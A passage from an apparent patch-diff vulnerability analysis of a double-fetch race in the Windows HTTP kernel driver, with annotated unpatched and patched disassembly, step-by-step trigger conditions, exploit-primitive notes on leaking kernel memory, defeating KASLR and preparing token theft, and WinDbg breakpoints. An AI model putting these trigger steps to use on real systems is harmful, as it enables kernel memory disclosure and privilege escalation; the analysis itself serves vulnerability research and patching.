&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;DOUBLE&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;FETCH&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;#1&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;
&lt;span class="mh"&gt;0x14015f4cb&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax+0x8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FIRST&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;READ&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;probe&lt;/span&gt;
&lt;span class="mh"&gt;0x14015f4cf&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;UlProbeAnsiString&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UlProbeAnsiString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="mh"&gt;0x14015f504&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+0x50&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reload&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;
&lt;span class="mh"&gt;0x14015f509&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx+0x8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SECOND&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;READ&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TOCTOU&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;WINDOW&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x14015f50d&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r13&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;destination&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;trailer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;
&lt;span class="mh"&gt;0x14015f510&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;out_buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;attacker_swapped_ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;DOUBLE&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;FETCH&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;#2&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;
&lt;span class="mh"&gt;0x14015f546&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax+0x10&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FIRST&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;READ&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;secondary&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;
&lt;span class="mh"&gt;0x14015f54a&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;UlProbeAnsiString&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UlProbeAnsiString&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="mh"&gt;0x14015f56b&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+0x50&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reload&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;
&lt;span class="mh"&gt;0x14015f570&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx+0x10&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SECOND&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;READ&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;secondary&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;
&lt;span class="mh"&gt;0x14015f574&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r13&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;destination&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;trailer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;
&lt;span class="mh"&gt;0x14015f577&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;out_buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;attacker_swapped_ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Patched &lt;code&gt;UlGenerateTrailers (sub_14009DE00)&lt;/code&gt; — single-capture&lt;/h3&gt;
&lt;p&gt;The patched version reads each pointer into &lt;code&gt;r12&lt;/code&gt; once; when &lt;code&gt;UxKirHttpReadingTrailersFromUm&lt;/code&gt; is set it feeds that captured register to the copy instead of re-reading user memory.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mh"&gt;0x14009df66&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CAPTURE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;once&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;into&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;
&lt;span class="mh"&gt;0x14009df77&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;probe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uses&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;captured&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;
&lt;span class="mh"&gt;0x14009df7a&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;UxKirHttpReadingTrailersFromUm&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="mh"&gt;0x14009df81&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mh"&gt;0x14009dfa5&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rollback&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;
&lt;span class="mh"&gt;0x14009df83&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;UlProbeAnsiString&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UlProbeAnsiString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;captured_ptr&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="mh"&gt;0x14009dfa0&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FIX&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reuse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;captured&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;copy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;source&lt;/span&gt;
&lt;span class="mh"&gt;0x14009dfa3&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mh"&gt;0x14009dfc6&lt;/span&gt;
&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;---&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rollback&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;):&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;reads&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;memory&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;---&lt;/span&gt;
&lt;span class="mh"&gt;0x14009dfc2&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r13&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;old&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;behavior&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x14009dfc6&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;
&lt;span class="mh"&gt;0x14009dfcf&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;out_buf&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;sub_14014de80&lt;/code&gt; (unpatched) and &lt;code&gt;sub_14014e300&lt;/code&gt; (patched) are the same &lt;code&gt;memmove&lt;/code&gt; routine at a shifted address; the copy helper itself is unchanged between builds.&lt;/p&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Obtain a handle to the HTTP Server API via Win32 (&lt;code&gt;HttpCreateHttpHandle&lt;/code&gt;, &lt;code&gt;HttpCreateRequestQueue&lt;/code&gt;) or native (&lt;code&gt;NtDeviceIoControlFile&lt;/code&gt; directly targeting &lt;code&gt;\Device\Http\*&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Allocate an input buffer for the IOCTL containing an array header (count at offset &lt;code&gt;+0x8&lt;/code&gt;, must be &lt;code&gt;1&lt;/code&gt; to &lt;code&gt;0x2710&lt;/code&gt;) and a pointer to the array at offset &lt;code&gt;+0x10&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Populate the array with &lt;code&gt;N&lt;/code&gt; entries. Each entry is 0x18 bytes: &lt;code&gt;[uint16 length1][uint16 length2][ptr data1][ptr data2]&lt;/code&gt;. Ensure &lt;code&gt;length&lt;/code&gt; matches your buffer sizes.&lt;/li&gt;
&lt;li&gt;Initialize &lt;code&gt;data1&lt;/code&gt; to point to a legitimate user-mode buffer.&lt;/li&gt;
&lt;li&gt;Spawn a racing thread that continuously executes &lt;code&gt;InterlockedExchange64&lt;/code&gt; on the &lt;code&gt;data1&lt;/code&gt; field, alternating between the legitimate user-mode pointer and a target kernel address (e.g., &lt;code&gt;0xFFFFF805'C0000000&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Submit the IOCTL from the main thread in a tight loop. &lt;/li&gt;
&lt;li&gt;Inspect the IOCTL output buffer after each call. If the race is won, the output buffer will contain the raw bytes of the target kernel address instead of your user-mode buffer data.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; Arbitrary Kernel Memory Read (Information Disclosure). &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Limitations:&lt;/strong&gt; Because it relies on winning a race condition, you cannot reliably read large contiguous blocks in a single request. However, by requesting small lengths (e.g., 8 bytes) and looping, you can slowly exfiltrate memory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Usage:&lt;/strong&gt; This primitive is primarily an info-leak. It can be used to:&lt;/li&gt;
&lt;li&gt;Defeat KASLR by reading known kernel structures to find base addresses.&lt;/li&gt;
&lt;li&gt;Scan for authentication tokens in kernel pool memory.&lt;/li&gt;
&lt;li&gt;Locate the &lt;code&gt;EPROCESS&lt;/code&gt; of &lt;code&gt;System.exe&lt;/code&gt; to prepare for a subsequent token-stealing exploit.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigations:&lt;/strong&gt; Standard kernel protections like SMEP, SMAP, and CFG &lt;strong&gt;do not prevent&lt;/strong&gt; this vulnerability, as the kernel is legally performing a read on behalf of an IRP. SMAP actually helps the attacker by ensuring the probe correctly passes user-mode pointers before the swap.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;To validate and analyze this bug on the unpatched binary, attach WinDbg in kernel mode and use the following commands.&lt;/p&gt;
&lt;h3&gt;Breakpoints&lt;/h3&gt;
&lt;p&gt;Set targeted breakpoints to monitor the probe and the copy phases:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp http+0x15f4cb  &amp;quot;printf \&amp;quot;[PROBE] Entry Ptr: %p\\n\&amp;quot;, rax; .if (poi(rax+8) &amp;gt; 0xFFFF800000000000) { echo WARNING: Kernel Addr in user struct! }; gc&amp;quot;
bp http+0x15f509  &amp;quot;printf \&amp;quot;[COPY ] Re-read Ptr: %p\\n\&amp;quot;, rdx; gc&amp;quot;
